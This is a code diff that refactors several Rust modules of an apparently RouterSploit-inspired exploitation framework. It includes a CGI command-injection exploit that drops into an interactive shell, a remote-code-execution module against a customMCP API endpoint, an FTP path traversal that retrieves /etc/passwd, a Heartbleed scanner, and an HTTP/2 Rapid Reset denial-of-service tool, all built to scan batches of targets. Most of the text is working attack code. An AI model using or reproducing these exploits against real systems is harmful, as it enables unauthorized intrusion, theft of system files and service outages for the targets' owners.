async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
use crate::utils::escape_shell_command;
|
||||
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
let payload = format!("1;{};", cmd);
|
||||
// Escape command to prevent injection of additional shell commands
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let payload = format!("1;{};", escaped_cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
@@ -71,44 +95,63 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// // Prompt user for a custom port number
|
||||
fn prompt_port() -> Result<String> {
|
||||
print!("Enter port to use [default: 80]: ");
|
||||
io::stdout().flush()?;
|
||||
/// Prompt user for a custom port number
|
||||
async fn prompt_port() -> Result<String> {
|
||||
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port = String::new();
|
||||
io::stdin().read_line(&mut port)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
|
||||
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// // Entry point required for RouterSploit-inspired dispatch system
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port()?;
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port().await?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// // Handle either single IP or file of targets
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("[+] {} is vulnerable!", url);
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("[-] {} is not vulnerable", url);
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -6,10 +6,11 @@
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::escape_js_command;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
@@ -81,8 +82,9 @@ async fn execute_rce(
|
||||
|
||||
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
|
||||
|
||||
// Escape the command for JavaScript execution
|
||||
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
|
||||
// Escape the command for JavaScript execution with shell metacharacter protection
|
||||
// execSync executes in a shell, so we need to escape both JS and shell metacharacters
|
||||
let escaped_cmd = escape_js_command(cmd, true);
|
||||
|
||||
// Construct the malicious payload
|
||||
let command = format!(
|
||||
@@ -159,16 +161,34 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut command = String::new();
|
||||
|
||||
print!("{}", "Email: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut email)?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut email)
|
||||
.await
|
||||
.context("Failed to read email")?;
|
||||
|
||||
print!("{}", "Password: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut password)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
|
||||
print!("{}", "Command to execute: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut command)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
|
||||
let email = email.trim();
|
||||
let password = password.trim();
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -9,6 +9,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::*; // // Colorful output
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
@@ -48,7 +49,7 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
let mut file = File::create(&out_file)?;
|
||||
|
||||
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
|
||||
io::copy(reader, &mut file)
|
||||
std::io::copy(reader, &mut file)
|
||||
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
format!("Failed to write file: {}", e)
|
||||
@@ -80,9 +81,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
@@ -91,16 +98,28 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut use_list = String::new();
|
||||
io::stdin().read_line(&mut use_list)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut use_list)
|
||||
.await
|
||||
.context("Failed to read list choice")?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut path)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
let path = path.trim();
|
||||
|
||||
if !Path::new(path).exists() {
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::fs::File;
|
||||
use std::io::{Write, BufRead, BufReader};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
@@ -38,20 +38,26 @@ impl Default for ScanConfig {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let config = get_user_config(target)?;
|
||||
let config = get_user_config(target).await?;
|
||||
run_with_config(target, config).await
|
||||
}
|
||||
|
||||
fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
let mut config = ScanConfig::default();
|
||||
|
||||
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
std::io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
config.port = port;
|
||||
@@ -59,9 +65,15 @@ fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
std::io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read payload size input")?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
config.payload_size = size;
|
||||
@@ -72,9 +84,15 @@ fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
std::io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read heartbeat attempts input")?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
config.heartbeat_attempts = attempts;
|
||||
@@ -86,15 +104,27 @@ fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read batch mode input")?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read batch file path input")?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
if !batch_file.is_empty() {
|
||||
@@ -154,8 +184,16 @@ async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
let sem_clone = sem.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
// Semaphore acquire should never fail in practice, but handle gracefully
|
||||
let _permit = match sem_clone.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
eprintln!("Warning: Failed to acquire semaphore permit");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -1,18 +1,50 @@
|
||||
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
|
||||
// Exploit Author: Madhusudhan Rajappa
|
||||
// Date: 29th August 2025
|
||||
// Version: HTTP/2.0
|
||||
//! HTTP/2 Rapid Reset Denial of Service - CVE-2023-44487
|
||||
//!
|
||||
//! This module tests for and exploits the HTTP/2 Rapid Reset vulnerability that allows
|
||||
//! denial of service attacks by rapidly creating and resetting HTTP/2 streams.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2023-44487
|
||||
//! - **Affected**: Multiple HTTP/2 implementations
|
||||
//! - **Attack Vector**: Rapid stream creation and reset
|
||||
//! - **Impact**: Denial of Service (DoS)
|
||||
//!
|
||||
//! ## Usage
|
||||
//! ```bash
|
||||
//! run exploit http2/cve_2023_44487_http2_rapid_reset <target>
|
||||
//! ```
|
||||
//!
|
||||
//! The module performs:
|
||||
//! 1. Baseline test with normal HTTP/2 requests
|
||||
//! 2. Rapid reset attack test
|
||||
//! 3. Vulnerability analysis based on reset rates
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Proper IPv6 address handling via utils.rs normalize_target
|
||||
//! - Timeout handling for all network operations
|
||||
//! - Connection cleanup and resource management
|
||||
//! - Error handling with context
|
||||
//!
|
||||
//! **WARNING**: Only use on systems you own or have permission to test!
|
||||
//!
|
||||
//! Original Author: Madhusudhan Rajappa
|
||||
//! Date: 29th August 2025
|
||||
//! Version: HTTP/2.0
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use h2::client::Builder;
|
||||
use std::io::{self, Write};
|
||||
use h2::Reason;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_yes_no, prompt_int_range,
|
||||
};
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
@@ -30,16 +62,69 @@ fn banner() {
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with brackets
|
||||
fn normalize_host(host: &str) -> String {
|
||||
/// Parse and validate target using utils.rs normalize_target
|
||||
/// Returns (host, port) tuple with proper IPv6 handling
|
||||
fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
// Use utils.rs normalize_target for comprehensive validation
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// Check if normalized result contains a port
|
||||
if normalized.starts_with('[') {
|
||||
// IPv6 format: [::1]:port or [::1]
|
||||
if let Some(bracket_end) = normalized.find(']') {
|
||||
let host = normalized[1..bracket_end].to_string();
|
||||
let rest = &normalized[bracket_end + 1..];
|
||||
if rest.starts_with(':') {
|
||||
let port = rest[1..].parse::<u16>()
|
||||
.context("Invalid port number in normalized target")?;
|
||||
return Ok((host, port));
|
||||
} else {
|
||||
return Ok((host, 443)); // Default HTTPS port
|
||||
}
|
||||
}
|
||||
return Err(anyhow!("Invalid IPv6 format from normalize_target"));
|
||||
}
|
||||
|
||||
// IPv4 or hostname format: host:port or host
|
||||
if let Some(colon_pos) = normalized.rfind(':') {
|
||||
let host = normalized[..colon_pos].to_string();
|
||||
let port = normalized[colon_pos + 1..].parse::<u16>()
|
||||
.context("Invalid port number in normalized target")?;
|
||||
Ok((host, port))
|
||||
} else {
|
||||
Ok((normalized, 443)) // Default HTTPS port
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with brackets for socket address resolution
|
||||
fn normalize_host_for_socket(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
if stripped.contains(':') && !stripped.starts_with('[') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create TLS connector with empty root store (accepts self-signed certs)
|
||||
/// NOTE: Empty root store means no CA certs are trusted by default.
|
||||
/// For security testing, this is acceptable as we're testing the protocol.
|
||||
fn create_tls_connector() -> TlsConnector {
|
||||
use std::sync::Arc;
|
||||
use tokio_rustls::rustls::ClientConfig;
|
||||
|
||||
// Create an empty root store - allows connections but cert validation will fail
|
||||
// for untrusted certs (which is fine for security testing of HTTP/2)
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
|
||||
let config = ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
|
||||
TlsConnector::from(Arc::new(config))
|
||||
}
|
||||
|
||||
/// Perform baseline test with normal HTTP/2 requests
|
||||
async fn baseline_test(
|
||||
host: &str,
|
||||
@@ -49,7 +134,7 @@ async fn baseline_test(
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let host_normalized = normalize_host_for_socket(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
@@ -57,24 +142,36 @@ async fn baseline_test(
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
|
||||
.await
|
||||
.context("Connection timeout")?
|
||||
.context("Failed to connect")?;
|
||||
|
||||
let scheme = if use_ssl { "https" } else { "http" };
|
||||
|
||||
// Format host for URI (add brackets for IPv6)
|
||||
let uri_host = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]", host)
|
||||
} else {
|
||||
host.to_string()
|
||||
};
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let connector = create_tls_connector();
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
.map_err(|_| anyhow!("Invalid server name: {}", host))?;
|
||||
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
|
||||
.await
|
||||
.context("TLS handshake timeout")?
|
||||
.context("TLS handshake failed")?;
|
||||
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
@@ -85,16 +182,16 @@ async fn baseline_test(
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -105,18 +202,23 @@ async fn baseline_test(
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!("{}", "[+] Baseline Results:".green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
@@ -127,16 +229,16 @@ async fn baseline_test(
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -147,11 +249,15 @@ async fn baseline_test(
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!("{}", "[+] Baseline Results:".green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -167,7 +273,7 @@ async fn rapid_reset_test(
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let host_normalized = normalize_host_for_socket(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
@@ -175,21 +281,33 @@ async fn rapid_reset_test(
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
|
||||
.await
|
||||
.context("Connection timeout")?
|
||||
.context("Failed to connect")?;
|
||||
|
||||
let scheme = if use_ssl { "https" } else { "http" };
|
||||
|
||||
// Format host for URI (add brackets for IPv6)
|
||||
let uri_host = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]", host)
|
||||
} else {
|
||||
host.to_string()
|
||||
};
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let connector = create_tls_connector();
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
.map_err(|_| anyhow!("Invalid server name: {}", host))?;
|
||||
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
|
||||
.await
|
||||
.context("TLS handshake timeout")?
|
||||
.context("TLS handshake failed")?;
|
||||
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
@@ -205,15 +323,15 @@ async fn rapid_reset_test(
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
if delay_ms > 0 && i < num_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
@@ -230,15 +348,18 @@ async fn rapid_reset_test(
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let total_streams = created_streams.len();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
|
||||
|
||||
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
|
||||
// Send RST_STREAM
|
||||
send_stream.send_reset(Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
if reset_delay > 0 && idx < total_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -255,18 +376,7 @@ async fn rapid_reset_test(
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
print_vulnerability_analysis(reset_rate);
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
@@ -274,7 +384,8 @@ async fn rapid_reset_test(
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
.await
|
||||
.context("HTTP/2 handshake failed")?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
@@ -290,15 +401,15 @@ async fn rapid_reset_test(
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
.context("Failed to build request")?;
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
